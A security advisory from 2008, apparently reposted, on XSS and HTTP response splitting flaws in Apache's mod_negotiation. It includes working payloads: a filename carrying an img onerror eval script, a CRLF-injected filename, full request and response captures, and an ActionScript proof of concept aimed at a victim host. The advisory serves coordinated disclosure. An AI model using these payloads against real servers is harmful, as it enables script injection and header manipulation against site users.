|
|
|
|
| |
Content negotiation, or more accurately content selection, is the selection of the document that best matches the clients capabilities, from one of several available documents. There are two implementations of this.
* A type map (a file with the handler type-map) which explicitly lists the files containing the variants.
* A MultiViews search (enabled by the MultiViews Option, where the server does an implicit filename pattern match, and choose from amongst the results.
Mod_negotiation doesn't sanitize filenames in '406 Not Acceptable' response and '300 Multiple Choices' message body. This could lead to Xss if the name of the file is controlled by an attacker (i.e. by previously uploading it).
Moreover, as the list of the filenames is also sent, without being sanitized, in the response header, it could result in a Http Response Splitting [1] issue if the name of the file contains '\n' (Line Feed). |
| |
Credit:
The information has been provided by Stefano di Paola.
The original article can be found at: http://www.mindedsecurity.com/MSA01150108.html
|
| |
Vulnerable Systems:
* Apache version 1.3.39 and prior
* Apache version 2.0.61 and prior
* Apache version 2.2.6 and prior
Cross Site Scripting
Let's suppose mod_negotiation is enabled and an attacker could upload a file with arbitrary name and whatever mime extension. For example a legit jpeg file named: <img src=sa onerror=eval(document.location.hash.substr(1))>.jpg
Then by requesting it without extension with Accept header set to image/jpeg; q=0,
----------------------------------------------------
GET <img%20src=sa%20onerror=eval(document.location.hash.substr(1))> HTTP/1.1
Host: 127.0.0.1
Accept: image/jpeg; q=0
HTTP/1.1 406 Not Acceptable
Date: Tue, 15 Jan 2008 15:43:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Alternates: {"<img src=sa
onerror=eval(document.location.hash.substr(1))>.jpg" 1 {type image/jpeg} {length 2}}
Vary: negotiate
TCN: list
Content-Length: 610
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>406 Not Acceptable</title>
</head><body>
<h1>Not Acceptable</h1>
<p>An appropriate representation of the requested resource /<img
src=sa
onerror=eval(document.location.hash.substr(1))> could not be found
on
this server.</p>
Available variants:
<ul>
<li><a href="<img src=sa
onerror=eval(document.location.hash.substr(1))>.jpg">
<img src=sa onerror=eval(document.location.hash.substr(1))>.jpg</a> ,
type image/jpeg</li>
</ul>
<hr>
-----------------------------------------------------
As it could be noted, no filtering of the filename is done, leading to Xss.
HTTP Response Splitting
By using a similar technique, Http Response Splitting could be triggered if there's some way to set the name of the file like the following:
'junk
Header: Injected
blah:.jpg'
Then, by requesting the urlencoded file name:
------------------------------------------------------
GET /junk%0aHeader:%20Injected%0ablah: HTTP/1.1
Host: 127.0.0.1
Accept: image/jpeg; q=0
HTTP/1.1 406 Not Acceptable
Date: Tue, 15 Jan 2008 16:06:52 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Alternates: {"junk
Header: Injected <----- Here!
blah:.jpg" 1 {type image/jpeg} {length 2}}
Vary: negotiate
TCN: list
Content-Length: 508
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>406 Not Acceptable</title>
</head><body>
<h1>Not Acceptable</h1>
<p>An appropriate representation of the requested resource /junk
Header: Injected
blah: could not be found on this server.</p>
Available variants:
<ul>
<li><a href="junk
Header: Injected
blah:.jpg">junk
Header: Injected
blah:.jpg</a> , type image/jpeg</li>
</ul>
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at 127.0.0.1 Port
80</address>
</body></html>
------------------------------------------------------
As it could be noted, the header response is splitted and "Header: Injected" is, indeed injected.
Proof of Concept
The following actionscript can be used in order to trigger the Xss.
----------------------------------------------------------
// Tested on IE 7 and FF 2.0.11, Flash plugin 9.0 r115
// Compile with flex compiler
package
{
import flash.display.Sprite;
import flash.net.*
public class TestXss extends flash.display.Sprite {
public function TestXss(){
var r:URLRequest = new URLRequest('http://victim/<img%20src=sa%20
onerror=eval(document.location.hash.substr(1))>#alert(123)');
r.method = 'POST';
r.data = unescape('test');
r.requestHeaders.push(new URLRequestHeader('Accept', 'image/jpeg; q=0'));
navigateToURL(r, '_self');
}
}
}
----------------------------------------------------------
Disclosure Timeline
15/01/2008 - Initial vendor notification
16/01/2008 - Vendor Confirmed
21/01/2008 - Coordinated public disclosure
22/01/2008 - Minded Security Research Lab Advisory
Reference
[1] "Divide and Conquer, HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics ", Amit Klein, March 2004. http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
|
|
|
|
|
